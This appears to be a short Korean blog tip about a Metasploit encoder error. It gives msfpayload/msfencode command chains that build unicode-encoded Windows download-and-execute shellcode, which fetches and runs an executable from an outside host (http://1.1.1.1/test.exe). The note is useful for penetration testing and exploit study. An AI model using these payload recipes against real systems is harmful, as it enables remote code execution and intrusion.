Merry Christmas

 

metasploit console에서 쉘코드를 만들 때 encoder를 unicode로 설정하면 에러가 난다.

 

msf  payload(download_exec) > set encoder x86/unicode_upper
encoder => x86/unicode_upper
msf  payload(download_exec) > generate
[-] Payload generation failed: No encoders encoded the buffer successfully.

 

 

이럴 때 해결방법.

 

ruby msfpayload windows/download_exec EXE=test.exe URL=http://1.1.1.1/test.exe R | ruby msfencode -e x86/alpha_mixed -t raw | ruby msfencode -e x86/unicode_upper BufferRegister=EAX -t perl

 

mixed 코드로 하면 길이는 2000바이트 정도

 

ruby msfpayload windows/download_exec EXE=test.exe URL=http://1.1.1.1/test.exe R |  ruby msfencode -e x86/unicode_upper BufferRegister=EAX -t perl

 

빼고 하면 길이는 1000바이트 정도..

: